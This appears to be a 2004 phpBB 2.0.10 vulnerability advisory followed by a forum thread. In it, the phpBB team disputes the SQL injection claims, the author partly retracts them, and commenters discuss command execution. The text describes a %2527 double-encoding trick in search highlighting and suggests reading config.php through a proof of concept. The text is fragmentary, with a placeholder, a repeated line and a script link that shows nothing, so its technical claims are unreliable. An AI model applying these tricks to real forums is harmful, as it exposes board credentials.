Author: How Dark
Date: October 14, 2004
URL: http://www.howdark.com
Affected Software: phpBB 2
Software Version: 2.0.* - 2.0.10
Software URL: http://www.phpbb.com
Attack: SQL Injection, allowing people to minipulate the query into pulling data
they should not previously be able too obtain. (Such as passwords)
Description: Requiring the account be a moderator, or having a moderation session
with the correct cookie to actually execute this attack, it is not that big
of an issue, but it still is there.
----------------------------------------------------------------------------------------------------------------------------------
xxx
----------------------------------------------------------------------------------------------------------------------------------
// Description
----------------------------------------------------------------------------------------------------------------------------------
Including a F (forum), with a MODE, but without a T (topic) leads to SQL error.
But because of topic turning all user input values into numbers, the injection is
useless, unless a way around this was found.

Attack: SQL Injection, allowing people to minipulate the query into pulling data

Arbituary EXEC allows you, if you can get on to a new line, to execute
your own PHP, which can be fatal.
Description: Because of the way urldecode and magic quotes works,
it turns %2527 into %27, which is a single quote, and it
leaves it unslashed. This gives you a SQL Injection, leading
to arbituary PHP exec hole. But because you can't get outside
preg_replace because of magic quotes, this is very very useless.
----------------------------------------------------------------------------------------------------------------------------------

// Description
----------------------------------------------------------------------------------------------------------------------------------
Highlighting %2527 on any topic.

Parse error: parse error, unexpected T_STRING in viewtopic.php(1109) : regexp code on line 1

psoftx write that in the phpbb comunity
| Code: | We've have had and continue to receive reports based on a bugtraq email submitted by the "howdark.com" group. Please do not report these issues to us, not by PM, email nor via our security tracker.
The two "sql injection" issues are not sql injection issues, nothing can be done with them at all due to type casting (strings are forced to an integer type). The group admit this themselves but persist in claiming they are sql injection issues. The "solution" they give contains semantically incorrect SQL (you do not enclose values for integer field types in quotes).
The third issue, search highlighting, has been checked by us several times and we can do nothing with it at all. Again, that particular group admit likewise. In a future release of 2.0.x we will eliminate the problem once and for all, but as noted it cannot (to our knowledge and as noted, testing) be taken advantage of and thus is not considered by us to be cause for an immediate release.

Just a note on the phpBB finds, they are NOT SQL Injection issues,
they are just poorly coded errors, as I had stated.
This is just immature of the phpBB Group to say we were presistant
about these, considering they were not submitted to BugTRAQ because
we knew for a fact they were useless.
The highlight error, as I stated is not harmful under the circumstances
of the default code, but if presented with minor changes, which is known
to some widely known phpBB Boards, they could present problems.
The highlight error is NOT, and I repeat NOT, SQL Injection, I am sorry
for the misworded presentation. I found this awhile ago, and I asked
a friend, who is well knowledged about these subjects, what to label
this with the options I had for the phpBB Security Tracker, and this is
what he gave me.
I did not check over what I sent, stupidly, and that is how it was sent out.
Sorry for the incovience
Keep note, that these would not even be on BugTRAQ if phpBB were
not immature about the bug reports I gave them, and they mildly ignored. |

Just a note, look how they edit their post now that there's a proof of concept, this one of the most dangerous phpbb exploits ever.

no, it'll work on most os's
It'll just limit it to what OS it is.. i.e: unix is ls, and windows is dir.
It isn't very useful because you are logged in as no user, so you don't have write permission or anything, so you can read like config.php (cat config.php on unix) and you have to view the page source since config.php has <? ?> and the page parses it thinking it's html.
But other then that you are pretty much out of luck.
CMD Example Script is here:
